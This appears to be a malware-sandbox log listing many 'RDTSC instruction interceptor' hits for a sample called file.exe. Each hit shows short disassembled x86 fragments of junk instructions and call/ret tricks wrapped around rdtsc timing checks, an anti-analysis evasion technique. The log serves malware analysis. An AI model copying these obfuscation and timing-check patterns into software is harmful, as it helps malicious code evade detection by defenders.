Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5CF5 second address: FB5D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEC84DC6BC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5D03 second address: FB5D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5D0F second address: FB5D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5D16 second address: FB5DA6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC84B62E08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FEC84B62E08h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push esi 0x00000026 mov bh, 45h 0x00000028 pop ebx 0x00000029 jmp 00007FEC84B62E0Fh 0x0000002e push 00000000h 0x00000030 sub dword ptr [ebp+122D2E19h], edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FEC84B62E08h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 xor di, EDB2h 0x00000057 push eax 0x00000058 pushad 0x00000059 pushad 0x0000005a push ebx 0x0000005b pop ebx 0x0000005c jmp 00007FEC84B62E12h 0x00000061 popad 0x00000062 push eax 0x00000063 push edx 0x00000064 jnp 00007FEC84B62E06h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6D0B second address: FB6D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6D10 second address: FB6D33 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEC84B62E18h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5EDF second address: FB5F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FEC84DC6BC8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D3025h], edx 0x00000028 jno 00007FEC84DC6BCAh 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FEC84DC6BC8h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 mov ebx, dword ptr [ebp+122D2600h] 0x0000005c jmp 00007FEC84DC6BD7h 0x00000061 mov eax, dword ptr [ebp+122D0165h] 0x00000067 jng 00007FEC84DC6BC6h 0x0000006d jg 00007FEC84DC6BC7h 0x00000073 push FFFFFFFFh 0x00000075 mov edi, esi 0x00000077 add dword ptr [ebp+122D1B7Dh], ebx 0x0000007d nop 0x0000007e push eax 0x0000007f jne 00007FEC84DC6BC8h 0x00000085 pop eax 0x00000086 push eax 0x00000087 pushad 0x00000088 push eax 0x00000089 push edx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5F95 second address: FB5F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55BF6 second address: F55C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55C03 second address: F55C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEC84B62E06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55C0F second address: F55C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEC84DC6BC6h 0x0000000a popad 0x0000000b push ecx 0x0000000c jp 00007FEC84DC6BC6h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEDB8 second address: FBEDBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB09E second address: FCB0AA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC84DC6BC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0AA second address: FCB0B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0B1 second address: FCB0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0BA second address: FCB0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0BE second address: FCB0D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0D5 second address: FCB0F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E13h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0F1 second address: FCB0FF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEC84DC6BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0FF second address: FCB11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E19h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB6E6 second address: FCB6F2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC84DC6BC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB881 second address: FCB8B5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEC84B62E06h 0x00000008 jns 00007FEC84B62E06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FEC84B62E1Fh 0x00000016 jmp 00007FEC84B62E19h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBB5E second address: FCBB64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBF39 second address: FCBF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBF3D second address: FCBF49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 je 00007FEC84DC6BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC1EB second address: FCC203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC203 second address: FCC20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEC84DC6BC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC20D second address: FCC224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FEC84B62E06h 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5450 second address: FD5454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5454 second address: FD5477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E14h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jns 00007FEC84B62E06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD43AA second address: FD43FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD7h 0x00000007 jc 00007FEC84DC6BC8h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jnp 00007FEC84DC6BC6h 0x00000019 jmp 00007FEC84DC6BD5h 0x0000001e jmp 00007FEC84DC6BCAh 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jns 00007FEC84DC6BC6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B9FC second address: F9BA96 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEC84B62E0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 4A9DB87Ch 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FEC84B62E08h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b call 00007FEC84B62E09h 0x00000030 push eax 0x00000031 push eax 0x00000032 jmp 00007FEC84B62E0Ah 0x00000037 pop eax 0x00000038 pop eax 0x00000039 push eax 0x0000003a jc 00007FEC84B62E22h 0x00000040 pushad 0x00000041 jmp 00007FEC84B62E18h 0x00000046 push ecx 0x00000047 pop ecx 0x00000048 popad 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d pushad 0x0000004e jno 00007FEC84B62E0Ch 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 je 00007FEC84B62E06h 0x0000005d popad 0x0000005e popad 0x0000005f mov eax, dword ptr [eax] 0x00000061 push eax 0x00000062 push edx 0x00000063 jnl 00007FEC84B62E08h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C322 second address: F9C397 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC84DC6BC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FEC84DC6BC8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jmp 00007FEC84DC6BCAh 0x0000002e push 0000001Eh 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FEC84DC6BC8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov dword ptr [ebp+122D1C53h], ebx 0x00000050 sbb edi, 7E2EE6D4h 0x00000056 nop 0x00000057 je 00007FEC84DC6BE2h 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FEC84DC6BCCh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C397 second address: F9C3BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC84B62E12h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C634 second address: F9C63E instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC84DC6BCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C63E second address: F9C64E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C64E second address: F9C65E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C65E second address: F9C662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C662 second address: F9C668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5919C second address: F591A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F591A1 second address: F591AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F591AA second address: F591B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD46B5 second address: FD46F5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEC84DC6BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007FEC84DC6BD1h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jmp 00007FEC84DC6BD6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD46F5 second address: FD46F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD46F9 second address: FD4719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEC84DC6BD7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4719 second address: FD4724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEC84B62E06h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4724 second address: FD472E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC84DC6BD8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4B2B second address: FD4B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4B34 second address: FD4B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4DAB second address: FD4DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9D89 second address: FD9D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEC84DC6BC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9D93 second address: FD9DB8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b jc 00007FEC84B62E20h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEC84B62E12h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA036 second address: FDA03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA03A second address: FDA05A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FEC84B62E06h 0x00000009 jmp 00007FEC84B62E13h 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA7E8 second address: FDA7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA7EE second address: FDA7F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE4BB second address: FDE4C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE4C3 second address: FDE4EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FEC84B62E0Eh 0x00000010 jg 00007FEC84B62E06h 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FEC84B62E0Dh 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE4EF second address: FDE4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4DF3 second address: FE4E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jp 00007FEC84B62E10h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3CD3 second address: FE3CE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEC84DC6BCBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3CE8 second address: FE3CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3CEC second address: FE3CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3CF2 second address: FE3D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E11h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE422B second address: FE422F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE422F second address: FE4240 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FEC84B62E06h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE38A4 second address: FE38AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC84DC6BC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4B3E second address: FE4B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E15h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4B59 second address: FE4B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8C04 second address: FE8C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8C08 second address: FE8C10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8C10 second address: FE8C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8C16 second address: FE8C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8406 second address: FE840A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8565 second address: FE8572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FEC84DC6BC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8572 second address: FE8576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8576 second address: FE857C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE857C second address: FE85A5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEC84B62E0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c jmp 00007FEC84B62E15h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8917 second address: FE891F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE891F second address: FE8925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8925 second address: FE8939 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEC84DC6BCBh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB135 second address: FEB14C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FEC84B62E10h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0979 second address: FF097D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF097D second address: FF0991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FEC84B62E0Eh 0x0000000c rdtsc
